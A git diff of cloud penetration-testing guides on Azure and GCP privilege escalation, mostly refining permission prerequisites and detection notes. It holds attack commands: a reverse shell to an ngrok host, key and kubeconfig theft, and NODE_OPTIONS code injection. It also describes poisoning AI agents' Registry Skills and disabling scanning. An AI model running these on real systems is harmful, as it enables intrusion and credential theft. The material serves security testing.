+67,7 @@ curl -sS "https://${workspace_host}/api/2.0/preview/scim/v2/Users?count=10" \ -H "X-Databricks-Azure-Workspace-Resource-Id: ${workspace_id}" ``` -The tested bootstrap worked for a tenant member user. Service-principal attempts did not establish an equivalent minimum-role path, so do not assume identical behavior without checking the target. +The tested bootstrap worked for a tenant member user. Service-principal attempts did not establish an equivalent minimum-role path, so do not assume identical behavior without checking the target. The Azure workspace resource exposes its provisioning state and `workspaceUrl`, which can be used to bind both Azure permissions to the workspace actually reached by the Databricks token. See [Workspaces Get](https://learn.microsoft.com/en-us/rest/api/databricks/workspaces/get?view=rest-databricks-2026-01-01). If subscription or resource-group listing is denied, recover the resource ID and hostname from Databricks links, browser history, application settings, notebooks, CI/CD output, diagnostic logs, deployment templates, or support bundles. A typical hostname is `adb-..azuredatabricks.net`. Knowing the identifiers is enough to attempt the bootstrap; no broader workspace enumeration permission is required beyond the two operations above. diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 21f2695c57..180cc9c0f5 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -621,10 +621,12 @@ az rest --method PUT \ **Minimum permissions:** `Microsoft.Web/sites/slots/publishxml/action`. -**Potential Impact:** Fetch a deployment slot's publishing profile → SCM/FTP credentials → deploy arbitrary code to the slot → code execution as the app and its managed identity. +**Potential Impact:** Fetch a deployment slot's publishing profile → SCM credentials → deploy code to that slot → possible code execution as the slot's own managed identity. This slot-scoped operation returns publishing profiles **with secrets**. With SCM basic authentication enabled on the target, the returned slot username and password can authenticate to Kudu ZipDeploy and deploy code without requiring `sites/slots/write`.[[1]](#references)[[12]](#references)[[13]](#references)[[26]](#references) +The credential-read permission and `basicPublishingCredentialsPolicies/scm` setting must belong to the same slot as the target identity. The slot's SCM policy needs `allow=true`; a disabled or unread policy does not establish a usable SCM credential path. `Microsoft.Web/sites/slots/config/list/action` is another way to list that slot's publishing credentials. Deployment reachability and execution in the slot still depend on the app's runtime and networking. + ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//slots//publishxml?api-version=2024-11-01" \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md index cd4a951368..0a25239ee0 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md @@ -137,7 +137,7 @@ Defenders can disable this per-cluster with `apiServerAccessProfile.disableRunCo ## Re-arm the built-in cluster admin / graft an attacker Entra admin group (`managedClusters/write`) -**Minimum permissions:** `Microsoft.ContainerService/managedClusters/write` (e.g. Azure Kubernetes Service Contributor / Contributor). +**Minimum permissions:** `Microsoft.ContainerService/managedClusters/write` to change cluster settings. Re-enabling local accounts also requires `Microsoft.ContainerService/managedClusters/listClusterAdminCredential/action` to retrieve and use the admin kubeconfig. Adding an Entra admin group instead requires control of a member identity in that group and a working Entra sign-in to the cluster. **Potential Impact:** a single control-plane action escalates to durable `system:masters`: @@ -199,9 +199,9 @@ kubectl get rolebindings,clusterrolebindings -A -o yaml **Potential Impact:** Create or change Kubernetes roles and bindings via Azure RBAC for Kubernetes: `bind` assigns a role, `escalate` creates/updates a role with privileges the caller lacks -> Kubernetes administrator access and secret disclosure within the cluster/namespace scope. -Azure RBAC operations containing `rbac.authorization.k8s.io` can create or change Kubernetes roles and bindings. `bind` permits assigning a role, while `escalate` permits creating or updating a role containing privileges the caller does not already possess. Their impact is limited by the target cluster or namespace scope but can lead to Kubernetes administrator access and secret disclosure. +Azure RBAC operations containing `rbac.authorization.k8s.io` can create or change Kubernetes roles and bindings when Azure RBAC for Kubernetes is enabled and the caller can authenticate to that cluster's API. Creating a cluster-wide binding to `cluster-admin` requires both `clusterrolebindings/write` and `clusterroles/bind/action` at cluster scope. `escalate` permits creating or updating a role containing privileges the caller does not already possess. Namespace-scoped grants cannot create cluster-wide administrator access through a ClusterRoleBinding. -The same standalone cluster also exposes the Kubernetes **impersonation** verb as Azure-RBAC-for-Kubernetes data-plane actions — `Microsoft.ContainerService/managedClusters/groups/impersonate/action`, `.../users/impersonate/action` and `.../serviceaccounts/impersonate/action` (plus `.../authentication.k8s.io/tokenreviews/write`). A caller holding `groups/impersonate/action` can send every API request **as the `system:masters` group** (or as any admin user/ServiceAccount) *without creating any RoleBinding of its own*. This is a distinct, stealthier privesc than `bind`/`escalate`: it mutates no RBAC object, so `kube-audit` records only impersonated (`impersonatedUser`) requests rather than a role/binding write, and a detection scoped to `rbac.authorization.k8s.io/*/write` misses it entirely. +The same standalone cluster also exposes the Kubernetes **impersonation** verb as Azure-RBAC-for-Kubernetes data-plane actions — `Microsoft.ContainerService/managedClusters/groups/impersonate/action`, `.../users/impersonate/action` and `.../serviceaccounts/impersonate/action` (plus `.../authentication.k8s.io/tokenreviews/write`). Impersonating the `system:masters` group requires **both** `groups/impersonate/action` and `users/impersonate/action` at cluster scope: [Kubernetes requires an `Impersonate-User` header](https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/) whenever an `Impersonate-Group` header is sent. The caller also needs a working, authenticated client for that cluster, such as a cluster-user kubeconfig, and Azure RBAC for Kubernetes must be enabled. With those prerequisites, the caller can make requests as `system:masters` without creating a RoleBinding. This is a distinct privesc from `bind`/`escalate`: it mutates no RBAC object, so a detection scoped to `rbac.authorization.k8s.io/*/write` misses it. The same Azure-RBAC-for-Kubernetes data-plane actions exist under **AKS Fleet Manager** members (`Microsoft.ContainerService/fleets/members/.../pods/exec/action`, `.../serviceaccounts/impersonate/action`, `.../rbac.authorization.k8s.io/*/{bind,escalate}/action`). Combined with the fleet hub credential (`fleets/listCredentials/action`, above) they extend `bind`/`escalate`/`exec`/`impersonate` across **every member cluster** in the fleet — one hub retrieval plus these actions gives fleet-wide blast radius. @@ -224,7 +224,7 @@ The same Writer role can read Kubernetes Secrets, but a generic Secret read is d ## Azure Red Hat OpenShift (ARO) cluster credentials -**Minimum permissions:** `Microsoft.RedHatOpenShift/openShiftClusters/listCredentials/action` +**Minimum permissions:** `Microsoft.RedHatOpenShift/openShiftClusters/listCredentials/action` for the `kubeadmin` password, or `Microsoft.RedHatOpenShift/openShiftClusters/listAdminCredentials/action` for the administrator kubeconfig. **Potential Impact:** returns the ARO cluster's `kubeadmin` username and password. `kubeadmin` is the built-in cluster administrator of the OpenShift cluster, so the credential grants full control of the OpenShift API/console (every namespace, all secrets, arbitrary workload creation) — the ARO equivalent of retrieving the AKS `clusterAdmin` kubeconfig. From there, workloads can be scheduled to reach any managed identity attached to the cluster nodes. @@ -237,6 +237,15 @@ oc login -u kubeadmin -p oc auth can-i '*' '*' --all-namespaces ``` +The `kubeadmin` password stops working if the cluster administrator removes the `kubeadmin` secret after configuring another administrator. The distinct `listAdminCredentials/action` permission returns an administrator kubeconfig. Azure documents this as a way to access the cluster when the normal authentication components cannot provide a login; it requires a reachable Kubernetes API server, but not the `kubeadmin` login. + +```bash +az aro get-admin-kubeconfig --name --resource-group --file ./aro-admin-kubeconfig +KUBECONFIG=./aro-admin-kubeconfig oc auth can-i '*' '*' --all-namespaces +``` + +See [Microsoft's administrator kubeconfig guide](https://learn.microsoft.com/en-us/azure/openshift/howto-kubeconfig), [Azure's ARO permissions](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/containers#microsoftredhatopenshift), and [Red Hat's kubeadmin removal guide](https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/authentication_and_authorization/removing-kubeadmin). + The hosted-control-plane preview exposes the equivalent surface under `Microsoft.RedHatOpenShift/hcpOpenShiftClusters/*` (including `externalAuths/write` to wire up an attacker-controlled OIDC identity provider).
@@ -245,6 +254,7 @@ The hosted-control-plane preview exposes the equivalent surface under `Microsoft | Operation / signal | Log & plane | Logged by default? | | --- | --- | --- | | `.../openShiftClusters/listCredentials/action` | Activity Log — Administrative (control-plane) | Yes (~90 days) | +| `.../openShiftClusters/listAdminCredentials/action` | Activity Log — Administrative (control-plane) | Yes (~90 days) | | `oc` / OpenShift-API activity with those credentials (cluster data plane) | Not recorded (below the Azure API) — only OpenShift's in-cluster audit log | No | - The `listCredentials` ARM call IS logged in the Azure Activity Log (Administrative, ~90-day) as `.../openShiftClusters/listCredentials/action`. @@ -255,9 +265,9 @@ The hosted-control-plane preview exposes the equivalent surface under `Microsoft {{#include ../../../banners/hacktricks-training.md}} ## Flux GitOps self-healing foothold (`fluxConfigurations/write` / `sourceControlConfigurations/write`) -**Minimum permissions:** `Microsoft.KubernetesConfiguration/fluxConfigurations/write` on the cluster (or the separate legacy `.../sourceControlConfigurations/write` path for clusters that still use it). The `microsoft.flux` extension is required but is installed automatically with the first Flux configuration when needed.[[2]](https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/conceptual-gitops-flux2) +**Minimum permissions:** `Microsoft.KubernetesConfiguration/fluxConfigurations/write` inherited from the target cluster to create a configuration, or write on an existing configuration to change it. The legacy `.../sourceControlConfigurations/write` path applies only where that API is still available. The `microsoft.flux` extension is installed automatically with the first Flux configuration when needed.[[2]](https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/conceptual-gitops-flux2) -**Potential Impact:** point Flux at an **attacker-controlled Git, Helm, bucket, or Azure Blob source**; the in-cluster Flux controller continuously pulls and applies manifests within its configured scope and permissions. This can provide **self-healing supply-chain persistence** when the source remains under attacker control. Applies to both AKS and Arc-enabled clusters.[[2]](https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/conceptual-gitops-flux2) +**Potential Impact:** point Flux at an **attacker-controlled Git, Helm, bucket, or Azure Blob source**; the in-cluster Flux controller continuously pulls and applies manifests within its configured scope and permissions. Cluster scope allows cluster-wide changes; namespace scope limits what the configuration can apply. This can provide **self-healing supply-chain persistence** when the source remains under attacker control. Applies to both AKS and Arc-enabled clusters.[[2]](https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/conceptual-gitops-flux2) **Stealth:** **High** — the one-time config write is in the Activity Log, but the ongoing reconcile-and-apply loop is in-cluster data plane; the persistence rides on a normal-looking GitOps object. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md index bbad3a4cf1..d1d6f37025 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md @@ -72,7 +72,7 @@ The attack also requires an existing manually registered target Service, a Bindi ### `agentregistry.skillRevisions.create` + `agentregistry.skills.update` — replace an executable Skill's default revision -Standalone Agent Registry Skills are executable ZIP packages containing a `SKILL.md` instruction file, code scripts and assets. A managed agent can mount either a specific revision or the logical Skill resource; the latter resolves the Skill's mutable `defaultRevision`. An attacker who can add a revision and move that pointer can therefore replace code and instructions consumed by agents that follow the floating version.[[8]](#references)[[9]](#references)[[10]](#references)[[11]](#references) +Standalone Agent Registry Skills are executable ZIP packages containing a `SKILL.md` instruction file, code scripts and assets. Agent Registry lets an operator change a Skill's mutable `defaultRevision`. An attacker who can add a revision and move that pointer may replace code and instructions for a runtime that actually resolves that Agent Registry Skill through its logical name.[[8]](#references)[[9]](#references)[[10]](#references) The managed-agent mount example in reference 11 uses the separate Agent Platform Skill Registry API and does not, by itself, establish that the mounted Skill is the Agent Registry resource changed here. Prepare a valid Skill archive containing the replacement `SKILL.md` and payload, then publish it as a new immutable revision and activate it: @@ -95,7 +95,7 @@ gcloud alpha agent-registry skills update "${SKILL}" \ The same Skill update surface exposes `--scanning-policy=disabled`, which bypasses security scanning for subsequent package ingestion/promotion. An attacker can combine it with the pointer change, but the scan switch is not required when the replacement already passes validation. Syntactic package validation—ZIP structure, size, path and `SKILL.md` frontmatter—does not establish that the code or instructions are benign.[[8]](#references)[[10]](#references) -**Core permissions and prerequisites:** `agentregistry.skillRevisions.create` on the Skill and `agentregistry.skills.update` on the Skill, plus `serviceusage.services.use` on the quota project. The Preview `roles/agentregistry.user` role contains both Agent Registry writes as well as revision and Skill reads; Agent Registry Editor and Admin also contain them. The target must be an existing custom Skill, and a victim agent/environment must mount the logical Skill or otherwise resolve its default revision. Agents pinned to an immutable revision are not affected. Runtime refresh, environment snapshots and caching determine when the replacement is loaded. +**Core permissions and prerequisites:** `agentregistry.skillRevisions.create` on the Skill plus `serviceusage.services.use` on the quota project. Google's revision guide says a new revision automatically becomes the active version. `agentregistry.skills.update` is additionally needed when explicitly changing the default pointer or lifecycle state, as in the command sequence above. The Preview `roles/agentregistry.user` role contains both Agent Registry writes as well as revision and Skill reads; Agent Registry Editor and Admin also contain them. The target must be an existing custom Agent Registry Skill, and a victim agent/environment must be shown to resolve that exact Skill's default revision. A similarly named Skill Registry mount is insufficient. Agents pinned to an immutable revision are not affected. Runtime refresh, environment snapshots and caching determine when the replacement is loaded. This is also **service-level persistence**: the malicious default pointer and Active state remain in Agent Registry until an administrator restores a trusted revision, disables/decommissions the Skill or removes affected agents' mount. It is not whole-project persistence by itself. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md index 56473f54c2..33cf7dbdf9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md @@ -111,18 +111,18 @@ The counter-intuitive v1 `ADMIN_READ` classification and the v1beta1 no-log exce ### `datacatalog.taxonomies.setIamPolicy` — self-grant Fine-Grained Reader -BigQuery policy-tag column-level access control checks `datacatalog.categories.fineGrainedGet`. A principal able to change the policy-tag IAM policy can grant itself `roles/datacatalog.categoryFineGrainedReader` and read protected columns, provided it already has ordinary table/query access.[[13]](#references) +BigQuery policy-tag column-level access control checks `datacatalog.categories.fineGrainedGet` on the protecting tag. A principal able to change an ancestor taxonomy's IAM policy can grant itself `roles/datacatalog.categoryFineGrainedReader` on that taxonomy. The binding applies to its descendant policy tags. Reading a protected column also requires ordinary table and query access.[[13]](#references) -**Minimum permissions and prerequisites:** `datacatalog.taxonomies.setIamPolicy` to grant Fine-Grained Reader on the relevant policy tag, plus `bigquery.tables.getData` and `bigquery.jobs.create` to query the table. `datacatalog.categories.setIamPolicy` is also present in the Policy Tag Admin role, but Google's column-level security instructions identify the taxonomy permission as the grant prerequisite. +**Minimum permissions and prerequisites:** `datacatalog.taxonomies.setIamPolicy` on the exact taxonomy to change its IAM policy. The taxonomy must enforce fine-grained access and contain a descendant policy tag on which the principal lacks the reader permission. The safe CLI merge below also needs `datacatalog.taxonomies.getIamPolicy`. To query a protected table, the principal separately needs `bigquery.tables.getData` and `bigquery.jobs.create`. A policy-tag policy change uses `datacatalog.categories.setIamPolicy` and is a separate path. ```bash -gcloud data-catalog taxonomies policy-tags add-iam-policy-binding \ - --location= --taxonomy= \ +gcloud data-catalog taxonomies add-iam-policy-binding \ + --location= \ --member='user:' \ --role='roles/datacatalog.categoryFineGrainedReader' ``` -**Potential Impact:** raw access to columns protected by the selected policy tag and its applicable hierarchy. It does not grant base table access. +**Potential Impact:** reader access to descendant policy tags in the selected taxonomy. This can expose columns protected by those tags where the principal already has base table access. The grant does not create that base access. **Stealth:** **Medium** — the grant is an Admin Activity event, but it occurs in Data Catalog rather than the BigQuery IAM surface. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md index f2d80529d6..673ab445bd 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md @@ -38,7 +38,7 @@ gcloud functions deploy "$FUNCTION" \ The source in `./payload` can read `http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token` with the `Metadata-Flavor: Google` header and return or exfiltrate the result. The attacker still needs a way to make the runtime execute: invocation permission, a public endpoint, an event trigger they can activate, or ordinary victim traffic. Creating a function does not automatically grant the caller `run.routes.invoke` on a private 2nd-generation endpoint.[[4]](#references)[[5]](#references) -**Minimum permissions and prerequisites:** `cloudfunctions.functions.create` and the applicable source-upload permission. The current audit catalog names `cloudfunctions.functions.sourceCodeSet` for the v1 `GenerateUploadUrl` method and `cloudfunctions.functions.generateUploadUrl` for v2; a caller that instead points at an already prepared Cloud Storage source needs the corresponding object access. The deployer also needs `iam.serviceAccounts.actAs` on the runtime service account. A source deployment also uses a build account. Google's documented v1/v2 deployment setup grants Service Account User on both the runtime and build accounts. A user-managed or Compute Engine build account therefore requires `actAs`; legacy Google-owned builder behavior and the effective default vary with project history and organization policy. The shown CLI reads state and waits for the operation, so it can add `cloudfunctions.functions.get`, location/operation reads, Service Usage, trigger, Artifact Registry, Storage, and Cloud Build helper permissions beyond a direct prepared API request.[[1]](#references)[[2]](#references)[[3]](#references)[[6]](#references)[[7]](#references)[[16]](#references) +**Minimum permissions and prerequisites:** `cloudfunctions.functions.create` and the applicable source-upload permission. Both the v1 and v2 `GenerateUploadUrl` methods require `cloudfunctions.functions.sourceCodeSet` on the project and location; a caller that instead points at an already prepared Cloud Storage source needs the corresponding object access. The deployer also needs `iam.serviceAccounts.actAs` on the runtime service account. A source deployment also uses a build account. Google's documented v1/v2 deployment setup grants Service Account User on both the runtime and build accounts. A user-managed or Compute Engine build account therefore requires `actAs`; legacy Google-owned builder behavior and the effective default vary with project history and organization policy. The shown CLI reads state and waits for the operation, so it can add `cloudfunctions.functions.get`, location/operation reads, Service Usage, trigger, Artifact Registry, Storage, and Cloud Build helper permissions beyond a direct prepared API request.[[1]](#references)[[2]](#references)[[3]](#references)[[6]](#references)[[7]](#references)[[16]](#references) **Potential Impact:** execute attacker code as the selected runtime service account and obtain its effective Google Cloud privileges. Reach is bounded by that account's IAM roles, access scopes, organization policy, VPC Service Controls, network egress, and the ability to cause an execution. @@ -79,7 +79,7 @@ gcloud functions deploy "$FUNCTION" \ Omitting `--service-account` from a redeploy does not mean that no identity is used. Confirm that the tool/API preserves the existing runtime and build configuration; an accidental reset to a default identity changes both impact and the `actAs` prerequisites. -**Minimum permissions and prerequisites:** `cloudfunctions.functions.update`, the generation's source-upload permission (`cloudfunctions.functions.sourceCodeSet` for v1 or the current documented `cloudfunctions.functions.generateUploadUrl` for v2), and the documented `iam.serviceAccounts.actAs` access to both its runtime and build service accounts (subject to the legacy Google-owned builder caveat). The current `gcloud functions deploy` helper also performs a `cloudfunctions.functions.get` and polls the operation. Exploitation requires the new revision to execute, but an existing event trigger or production traffic can satisfy that prerequisite without the attacker holding an invocation permission.[[1]](#references)[[5]](#references)[[6]](#references)[[7]](#references)[[16]](#references) +**Minimum permissions and prerequisites:** `cloudfunctions.functions.update`, `cloudfunctions.functions.sourceCodeSet` for the v1 or v2 managed source upload, and the documented `iam.serviceAccounts.actAs` access to both its runtime and build service accounts (subject to the legacy Google-owned builder caveat). The current `gcloud functions deploy` helper also performs a `cloudfunctions.functions.get` and polls the operation. Exploitation requires the new revision to execute, but an existing event trigger or production traffic can satisfy that prerequisite without the attacker holding an invocation permission.[[1]](#references)[[5]](#references)[[6]](#references)[[7]](#references)[[16]](#references) **Potential Impact:** take over the existing function's runtime identity and trusted data path. The attacker can obtain the runtime token, steal requests or responses, and perform any downstream action that the function account and network placement permit. @@ -106,7 +106,7 @@ Detection should compare the caller, source provenance, build account, runtime a ### `cloudfunctions.functions.update` — inject a startup loader without source-update permission -A field-masked configuration update can change environment variables without supplying new source. If the deployed image already contains an attacker-controlled or otherwise useful loader file, a runtime-specific startup option such as `NODE_OPTIONS=--require=/workspace/startup-hook.js` can load it before the legitimate handler. This is a narrower but important permission boundary: it does not require either generation's source-upload permission.[[7]](#references)[[8]](#references)[[9]](#references) +A field-masked configuration update can change environment variables without supplying new source. On a supported Node.js runtime, `NODE_OPTIONS=--import=data:text/javascript,...` can preload inline JavaScript before the handler starts. A file-based option such as `--require=/workspace/startup-hook.js` works only when that file already exists in the deployed image or a readable mount. Neither route needs source-upload permission.[[7]](#references)[[8]](#references)[[9]](#references) Read and preserve the existing map first; replacing the map with only the malicious key can break the application: @@ -132,9 +132,9 @@ jq -n --arg name "$NAME" --argjson env "$ENV_VARS" \ --data-binary @- ``` -Do not generalize this into universal source-free RCE. The referenced module, library, agent, or script must already exist at a readable path and the chosen runtime must honor that option during function startup. For example, `NODE_OPTIONS --require` is materially different from `PYTHONSTARTUP`, which is not executed by every non-interactive Python process. +The inline `--import` route depends on the selected Node.js runtime accepting `NODE_OPTIONS` and starting a new revision after the update. A file-based loader still requires an exact readable file. Do not generalize either route to other runtimes; for example, `PYTHONSTARTUP` is not executed by every non-interactive Python process. -**Minimum permissions and prerequisites:** `cloudfunctions.functions.update` on the victim function, the relevant loader target already present at the exact readable path in the deployed image or a mounted filesystem, and the documented deployer `iam.serviceAccounts.actAs` access to the function's runtime and build service accounts. The API method itself lists `.update`; a preservation-safe flow such as the example also needs `cloudfunctions.functions.get`. No source-upload permission or new source archive is needed.[[1]](#references)[[3]](#references)[[8]](#references)[[9]](#references)[[16]](#references) +**Minimum permissions and prerequisites:** `cloudfunctions.functions.update` on an active Node.js function, a runtime that accepts the inline `--import` option or an existing readable loader file, and the documented deployer `iam.serviceAccounts.actAs` access to the function's runtime and build service accounts. The API method itself lists `.update`; a preservation-safe flow such as the example also needs `cloudfunctions.functions.get`. No source-upload permission or new source archive is needed.[[1]](#references)[[3]](#references)[[8]](#references)[[9]](#references)[[16]](#references) **Potential Impact:** execute the existing loader payload under the function's runtime service account and obtain that account's reachable privileges without changing the source archive. Impact is limited to functions whose runtime and filesystem contents provide a viable startup hook. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md index 5e113acd89..37964fc732 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md @@ -54,7 +54,7 @@ bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &' gcloud compute instances reset my-vm-instance --zone ``` -**Potential Impact:** escalates to **root on eligible Linux VMs that inherit the project metadata**, and from there to the effective permissions of each attached service account via its metadata token. It is not automatically "every VM": OS Login-enabled VMs reject metadata-based SSH keys, `block-project-ssh-keys=TRUE` blocks project SSH keys, Windows uses different startup-script keys, and all startup-script routes depend on a compatible running guest environment. SSH-key injection also needs network reachability; forcing a startup script immediately requires `compute.instances.reset` (or stop/start permissions) on each target. The SA token remains bounded by the VM's access scopes, the SA's IAM grants and conditions, and controls such as VPC Service Controls.[[9]](#references)[[25]](#references) +**Potential Impact:** escalates to **root on eligible Linux VMs that inherit the project metadata**, and from there to the effective permissions of each attached service account via its metadata token. It is not automatically "every VM": instance startup scripts take precedence over project scripts, and zonal metadata can override the same project startup key. OS Login-enabled VMs reject metadata-based SSH keys, `block-project-ssh-keys=TRUE` blocks project SSH keys, Windows uses different startup-script keys, and all startup-script routes depend on a compatible running guest environment. SSH-key injection also needs network reachability; forcing a startup script immediately requires `compute.instances.reset` (or stop/start permissions) on each target. The SA token remains bounded by the VM's access scopes, the SA's IAM grants and conditions, and controls such as VPC Service Controls.[[2]](#references)[[3]](#references)[[9]](#references)[[25]](#references) **Stealth:** **Low** — the project-wide Admin Activity mutation records the affected metadata key names, and a forced reset adds a second high-signal event. The value is hidden, but changes to `ssh-keys` or startup-script keys are straightforward to alert on. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md index 201071aad7..5ebc187734 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md @@ -22,7 +22,9 @@ Config Controller is a Google-managed GKE control plane with Config Connector (K A principal that can create or update a supported `*.cnrm.cloud.google.com` object can make KCC call the corresponding Google Cloud API as the configured Config Connector identity. For example, if that identity can set the project allow policy, an `IAMPolicyMember` can grant an attacker-controlled service account a project role without the attacker holding `resourcemanager.projects.setIamPolicy`. -**Minimum permissions and prerequisites:** network reachability and authentication to the backing cluster, plus Kubernetes RBAC `create` (or `patch`/`update`) on the chosen KCC resource in a namespace that KCC watches. Fetching a new kubeconfig with `gcloud anthos config controller get-credentials` uses `container.clusters.get`; an already usable kubeconfig avoids that helper call. The configured KCC identity must independently possess every downstream Google Cloud permission required by the chosen resource. For the example below the reconciliation needs `resourcemanager.projects.getIamPolicy` and `resourcemanager.projects.setIamPolicy` on the target project because `IAMPolicyMember` reads and merges one member into the existing policy. A Policy Controller constraint or validating webhook can still reject the manifest.[[3]](#references)[[4]](#references)[[10]](#references) +**Minimum permissions and prerequisites:** network reachability and authentication to the backing cluster, plus Kubernetes RBAC `create` (or `patch`/`update`) on the chosen KCC resource in a namespace that KCC watches. A Google Cloud user or service account needs `container.clusters.get` to authenticate to GKE, even when it already has a kubeconfig. The configured KCC identity must independently possess every downstream Google Cloud permission required by the chosen resource. For the example below the reconciliation needs `resourcemanager.projects.getIamPolicy` and `resourcemanager.projects.setIamPolicy` on the target project because `IAMPolicyMember` reads and merges one member into the existing policy. A Policy Controller constraint or validating webhook can still reject the manifest.[[3]](#references)[[4]](#references)[[10]](#references)[[13]](#references) + +Creating an `IAMPolicyMember` can add a new member, but its `member`, `role`, and `resourceRef` fields are immutable; update-only access to an existing `IAMPolicyMember` cannot redirect it to an attacker. Update-only access can grant a role through an existing `IAMPolicy` or `IAMPartialPolicy` whose immutable `resourceRef` already names the target project, because those resources have mutable bindings. The reference can name the cloud project directly through `external`, or name a Config Connector `Project` resource whose `spec.resourceID` identifies that cloud project. The caller gains only actions the configured identity can perform through supported KCC resources; the Kubernetes write does not hand out that identity's credentials. See [IAMPolicyMember fields](https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampolicymember), [IAMPolicy fields](https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampolicy), [IAMPartialPolicy fields](https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampartialpolicy), and [Project resource IDs](https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/resourcemanager/project). ```bash PROJECT_ID="PROJECT_ID" @@ -71,9 +73,9 @@ Kubernetes API writes are Cloud Audit Logs under service `k8s.io`; they are not ### KCC `IAMServiceAccountKey` plus Secret read — mint a long-lived key for a more privileged service account -The `IAMServiceAccountKey` KCC resource creates a user-managed service-account key. By default KCC imports the one-time private key response into a Kubernetes Secret with the same name and namespace. A caller able to create the KCC object and read that Secret can turn KCC's service-account-key permission into credentials for a target service account.[[7]](#references) +The `IAMServiceAccountKey` KCC resource creates a user-managed service-account key. By default KCC imports the one-time private key response into a Kubernetes Secret with the same name and namespace. The resource also exposes `status.privateKey` when the key is first created. A caller able to create the KCC object and read either the Secret or that resource status can turn KCC's service-account-key permission into credentials for a target service account. There is also a separate upload route: the caller supplies `spec.publicKeyData` from a key pair it controls and keeps the matching private key, so it does not need to read the resulting Secret or resource status.[[7]](#references)[[12]](#references) -**Minimum permissions and prerequisites:** Kubernetes RBAC `create` on `iamserviceaccountkeys.iam.cnrm.cloud.google.com` and `get` on the resulting Secret in the same namespace. The namespace's Config Connector identity needs `iam.serviceAccountKeys.create` on the target service account; normal reconciliation/lifecycle management also uses key get/list/delete permissions, so `roles/iam.serviceAccountKeyAdmin` or a deliberately equivalent custom role is the practical grant. The organization policy that disables service-account-key creation must not block the target, and the manifest must not set `cnrm.cloud.google.com/create-gsa-key-secret: "false"`.[[7]](#references)[[8]](#references) +**Minimum permissions and prerequisites:** Kubernetes RBAC `create` on `iamserviceaccountkeys.iam.cnrm.cloud.google.com`, or the GKE IAM fallback permission `container.thirdPartyObjects.create`. A Google Cloud caller also needs `container.clusters.get` to authenticate to the cluster. For a generated key, the caller also needs `get` on the resulting Secret or `get` on the key resource in the same namespace; the Secret route requires that the manifest does not set `cnrm.cloud.google.com/create-gsa-key-secret: "false"`. For an uploaded key, the caller instead supplies a valid X.509 public-key certificate and keeps its private key, with no Secret read. The namespace's Config Connector identity needs `iam.serviceAccountKeys.create` on the target service account for either IAM API route; normal reconciliation/lifecycle management also uses key get/list/delete permissions, so `roles/iam.serviceAccountKeyAdmin` or a deliberately equivalent custom role is the practical grant. The effective key-creation policy governs generated keys, while the separate key-upload policy governs supplied public keys.[[7]](#references)[[8]](#references)[[12]](#references)[[13]](#references) ```bash TARGET_SA="privileged-sa@PROJECT_ID.iam.gserviceaccount.com" @@ -98,7 +100,7 @@ kubectl get secret captured-key \ -o jsonpath='{.data.key\.json}' | base64 -d > /tmp/captured-key.json ``` -The private material is returned only at key creation; KCC's automatic Secret is what makes it recoverable to the cluster caller. The current upstream controller stores the decoded credentials file in Secret data key `key.json`. Targeting a service account does not succeed merely because it is referenced: the Config Connector identity must be authorized to create a key for it.[[11]](#references) +The private material is returned only at key creation. KCC's automatic Secret stores the decoded credentials file in data key `key.json`; the 